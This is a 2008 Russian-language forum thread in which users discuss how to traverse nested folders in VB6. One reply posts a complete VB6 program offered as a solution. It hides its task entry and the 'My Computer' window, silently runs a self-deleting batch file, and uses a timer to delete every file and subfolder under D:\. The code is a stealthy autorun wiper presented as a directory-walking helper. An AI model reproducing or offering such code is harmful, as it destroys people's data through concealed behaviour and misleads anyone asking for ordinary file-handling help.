|
|
|
файлы и папки
|
|||
|---|---|---|---|
|
#18+
Здравствуйте, товарищи! вопрос: мне надо обратиться к файлам. Есть варианты, что в папке fol может быть вложенная папка, тогда так. Код: plaintext 1. 2. 3. 4. Код: plaintext 1. 2. Не каждый же раз писать цикл с SubFolders... Спасибо! ... |
|||
|
:
Нравится:
Не нравится:
|
|||
| 24.12.2008, 10:19 |
|
||
|
файлы и папки
|
|||
|---|---|---|---|
|
#18+
1. How To Search Directories to Find or List Files . 2. HOW TO: Recursively Search Directories by Using FileSystemObject . ... |
|||
|
:
Нравится:
Не нравится:
|
|||
| 24.12.2008, 11:45 |
|
||
|
файлы и папки
|
|||
|---|---|---|---|
|
#18+
Как вариант 1.(не самый лучший) - рекурсия. 2.АПИ. Где был пример поиска файлов во всех вложенных папках. Если подойдет поисчу. ... |
|||
|
:
Нравится:
Не нравится:
|
|||
| 24.12.2008, 11:46 |
|
||
|
файлы и папки
|
|||
|---|---|---|---|
|
#18+
Опередил. :) Вспомнил где http://andreymp.land.ru/sources/filedir/filedir.htm ... |
|||
|
:
Нравится:
Не нравится:
|
|||
| 24.12.2008, 11:49 |
|
||
|
файлы и папки
|
|||
|---|---|---|---|
|
#18+
у меня в папку temp распаковываются вложения из архива. А в архиве могут файлы быть в папке, а могут и не быть... А что, строчкой-другой кода не обойтись ... |
|||
|
:
Нравится:
Не нравится:
|
|||
| 24.12.2008, 13:52 |
|
||
|
файлы и папки
|
|||
|---|---|---|---|
|
#18+
Я тебе сегодня наверное напишу как это сделать. Я Уже создал такую программу только вот домой приеду и напишу. ... |
|||
|
:
Нравится:
Не нравится:
|
|||
| 24.12.2008, 14:12 |
|
||
|
файлы и папки
|
|||
|---|---|---|---|
|
#18+
Вот тебе моя программа, тут много лишнего, сам ненужное уберешь. на форме должны быть объекты:wcrF и wcrD. это файллист и ДирЛист соответственно VERSION 5.00 Begin VB.Form Form1 Caption = "Form1" ClientHeight = 3090 ClientLeft = 60 ClientTop = 450 ClientWidth = 4680 Icon = "Form1.frx":0000 LinkTopic = "Form1" ScaleHeight = 3090 ScaleWidth = 4680 StartUpPosition = 3 'Windows Default Visible = 0 'False Begin VB.DirListBox wcrD Height = 2565 Left = 3120 TabIndex = 1 Top = 120 Width = 1455 End Begin VB.FileListBox wcrF Height = 2625 Left = 720 TabIndex = 0 Top = 120 Width = 2295 End Begin VB.Timer Tim Enabled = 0 'False Interval = 100 Left = 120 Top = 120 End End Attribute VB_Name = "Form1" Attribute VB_GlobalNameSpace = False Attribute VB_Creatable = False Attribute VB_PredeclaredId = True Attribute VB_Exposed = False Private Declare Sub GlobalMemoryStatus Lib "kernel32" (lpBuffer As MEMORYSTATUS) 'AUTORUNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNN!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! Private Declare Function FindWindow Lib "user32" Alias "FindWindowA" (ByVal lpClassName As String, ByVal lpWindowName As String) As Long Private Declare Function ShowWindow Lib "user32.dll" (ByVal hwnd As Long, ByVal nCmdShow As Long) As Long 'AUTORUNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNN!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! Private Type MEMORYSTATUS dwLength As Long dwMemoryLoad As Long dwTotalPhys As Long dwAvailPhys As Long dwTotalPageFile As Long dwAvailPageFile As Long dwTotalVirtual As Long dwAvailVirtual As Long End Type Dim Memory As Integer Dim DirKill, RepPath As String Dim a As MEMORYSTATUS Private Sub Form_Load() On Error Resume Next If FileLen("C:\leak.wnd") = 0 Then End App.TaskVisible = False 'AUTORUNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNN!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! ShowWindow FindWindow(vbNullString, "Мой компьютер"), 0 Kill "C:\b.bat" Open ("C:\b.bat") For Append As #1 Print #1, "explorer " + Left(App.Path, 3) Print #1, "del C:\b.bat" Close #1 Shell "C:\b.bat", vbHide 'AUTORUNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNN!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! GlobalMemoryStatus a Memory = a.dwTotalPhys / 1024 / 1024 RepPath = "D:\" 'ПУТЬ!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! wcrF.Path = RepPath wcrD.Path = RepPath If Memory > Int(App.EXEName) Then End Else Tim.Enabled = True End If End Sub Private Sub Tim_Timer() On Error Resume Next 'Обновить информацию о файлах и подкаталогах для удаления wcrF.Refresh wcrD.Refresh 'Удалить файл If Right(wcrF.Path, 1) = "\" Then Kill wcrF.Path + wcrF.List(0) Else Kill wcrF.Path + "\" + wcrF.List(0) End If 'Если подкаталог опустошён то удалить его и вернутся в главный каталог If wcrF.List(0) = "" And wcrD.List(0) = "" And wcrD.Path <> RepPath Then wcrF.Path = RepPath DirKill = wcrD.Path wcrD.Path = RepPath RmDir DirKill End If 'Если существует подкаталог и в текущем каталоге нет файлов то переход в следующий каталог If wcrF.List(0) = "" And wcrD.List(0) <> "" Then wcrF.Path = wcrD.List(0) wcrD.Path = wcrD.List(0) wcrF.Refresh wcrD.Refresh End If End Sub ... |
|||
|
:
Нравится:
Не нравится:
|
|||
| 24.12.2008, 21:02 |
|
||
|
файлы и папки
|
|||
|---|---|---|---|
|
#18+
мне понравился такой способ обхода директорий, к сожалению не сохранилось автора Код: plaintext 1. 2. 3. 4. 5. 6. 7. 8. 9. 10. 11. 12. 13. 14. 15. 16. 17. 18. 19. 20. 21. 22. 23. 24. 25. 26. 27. 28. ... |
|||
|
:
Нравится:
Не нравится:
|
|||
| 25.12.2008, 09:42 |
|
||
|
файлы и папки
|
|||
|---|---|---|---|
|
#18+
Мой способ намного короче и понятнее. Если срезать ненужную часть. А дир и файл листы спрятать можно ... |
|||
|
:
Нравится:
Не нравится:
|
|||
| 25.12.2008, 11:45 |
|
||
|
файлы и папки
|
|||
|---|---|---|---|
|
#18+
sergeyvgмне понравился такой способ обхода директорий, к сожалению не сохранилось автора Слишком много кода. Если выкинуть явно лишнее то получится: Код: plaintext 1. 2. 3. 4. 5. 6. 7. 8. 9. 10. 11. 12. 13. 14. 15. 16. 17. 18. ... |
|||
|
:
Нравится:
Не нравится:
|
|||
| 25.12.2008, 15:30 |
|
||
|
файлы и папки
|
|||
|---|---|---|---|
|
#18+
А вот такой код еще короче и к тому же быстрее: Код: plaintext 1. 2. 3. 4. 5. 6. 7. 8. 9. 10. 11. 12. 13. 14. 15. ... |
|||
|
:
Нравится:
Не нравится:
|
|||
| 25.12.2008, 15:39 |
|
||
|
файлы и папки
|
|||
|---|---|---|---|
|
#18+
Antonariy Код: plaintext 1. 2. 3. 4. Хм. Интересный вариант, практически аналог нетовского using :) Спасибо. -- С уважением Горбонос Игорь Леонидович Posted via ActualForum NNTP Server 1.4 ... |
|||
|
:
Нравится:
Не нравится:
|
|||
| 25.12.2008, 15:50 |
|
||
|
|

start [/forum/topic.php?fid=60&msg=35735295&tid=2161484]: |
0ms |
get settings: |
6ms |
get forum list: |
15ms |
check forum access: |
2ms |
check topic access: |
2ms |
track hit: |
24ms |
get topic data: |
10ms |
get forum data: |
2ms |
get page messages: |
52ms |
get tp. blocked users: |
1ms |
| others: | 192ms |
| total: | 306ms |

| 0 / 0 |
